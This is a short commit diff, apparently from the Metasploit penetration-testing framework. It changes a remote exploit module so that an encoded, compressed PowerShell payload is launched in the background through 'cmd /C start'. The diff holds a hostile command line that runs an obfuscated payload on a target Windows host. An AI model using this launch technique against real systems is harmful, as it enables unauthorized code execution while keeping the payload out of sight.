allow psh to run in background via cmd start
parent
43a5322bd4
commit
e6ebf772de
|
@ -270,6 +270,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
psh_payload = compress_script(psh_payload)
|
||||
# Determine appropriate architecture
|
||||
ps_bin = datastore['RUN_WOW64'] ? '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
|
||||
command = "%COMSPEC% /C #{ps_bin} -EncodedCommand #{psh_payload}"
|
||||
command = "%COMSPEC% /C start #{ps_bin} -EncodedCommand #{psh_payload}"
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue